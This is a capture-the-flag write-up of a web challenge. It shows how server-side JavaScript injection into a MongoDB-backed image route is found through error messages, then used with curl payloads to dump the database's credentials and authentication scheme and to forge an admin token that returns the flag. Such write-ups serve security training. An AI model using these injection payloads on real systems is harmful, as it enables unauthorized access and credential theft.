The web page states that the auther is going to learn JS & SQL. So let's focus on the JS:
```
$(document).ready(function() {
$("img").each(function() {
var t = $(this),
i = t.attr("id");
$.get("/get/image/" + i, function(i) {
t.attr("src", i)
})
}), $("p").each(function() {
var t = $(this),
i = t.attr("id");
$.get("/get/text/" + i, function(i) {
t.html(i)
})
});
var j = '/admin_area';
$("h2").each(function() {
var t = $(this),
i = t.attr("id");
$.get("/get/title/" + i, function(i) {
t.html(i)
})
})
});
```
There are 3 types of xhr:
* /get/image/[id]
* /get/text/[id]
* /get/image/[id]

and one url:
* /admin_area

First try to exploit 3 xhr:
> $ curl "http://206.189.54.119:5000/get/image/'"
>
> Not Found
>
> $ curl "http://206.189.54.119:5000/get/text/'"
>
> Not Found.
>
> $ curl "http://206.189.54.119:5000/get/title/'"
>
> Not Found.

Not exploitable? Take a closer look?
> $ curl -v "http://206.189.54.119:5000/get/image/'"
>
> < Application-Error: exception: SyntaxError: Unexpected token ILLEGAL
>
> Not Found

Try something else:
> $ curl -v "http://206.189.54.119:5000/get/image/xxx"
>
> < Application-Error: exception: ReferenceError: xxx is not defined near 'x});return res;'
>
> Not Found

See the code? Try it: (%2F%2F to comment out the rest, escaping %20/%2F to make it match the route)
> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return%20res;%2F%2F"
>
> < Application-Error: exception: SyntaxError: Unexpected end of input
>
> Not Found

Something missing? maybe end of block/function?
> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return%20res;}%2F%2F"
>
> /images/sd4x_378x225.jpg

OK. worked! Now inject something to return:
> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return{1:1};}%2F%2F"
>
> < Application-Error: Couln't find "picture_path" property in returning object from database.
>
> Not Found

Change the key:
> $ curl -v -g "http://206.189.54.119:5000/get/image/1});return{'picture_path':'hello'};}%2F%2F"
>
> hello

Injection suceed! Now we have the injection point:
```
inject()
{
curl -g "http://206.189.54.119:5000/get/image/1});return{'picture_path':tojson($1)}}%2F%2F"
}
inject(this)
```

and got some code piece:
```
...
this._db = db;
...
"_mongo" : connection to EMBEDDED,
"db" : personal_site,
...
```

The site uses mongodb, and we have access to db.
```
inject 'db.getCollectionNames()'
```
> [
> "authentication",
> "contents",
> "credentials",
> "images",
> "system.indexes",
> "titles"
> ]
```
inject 'db.authentication.find({}).toArray()'
inject 'db.credentials.find({}).toArray()'
```
```
[
{
"_id" : ObjectId("5ae63ae0a86f623c83fecfb3"),
"id" : 1,
"method" : "post_data",
"format" : "username=[username]&password=[password]",
"activate" : "false"
},
{
"_id" : ObjectId("5ae63ae0a86f623c83fecfb4"),
"id" : 2,
"method" : "header",
"format" : "md5(se3cr3t|[username]|[password])",
"activate" : "true"
},
{
"_id" : ObjectId("5ae66f87dbf0b5383518fc3d"),
"id" : 50,
"activate" : false
}
][
{
"_id" : ObjectId("5ae63ae0a86f623c83fecfb1"),
"id" : 1,
"username" : "administrator",
"password" : "H4rdP@ssw0rd?"
},
{
"_id" : ObjectId("5ae63ae0a86f623c83fecfb2"),
"id" : 2,
"username" : "user",
"password" : "epass"
}
]
```

Now we have the authentication method and credentials, we can try accessing /admin_area
> $ curl "http://206.189.54.119:5000/admin_area"
>
> authorization_token not found

From above, the only activated authentication method is via header, with format "md5(se3cr3t|[username]|[password])"
> curl "http://206.189.54.119:5000/admin_area" -H "authorization_token: 2cc348195dc1ab9842f9446b41ef650b"
>
> ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}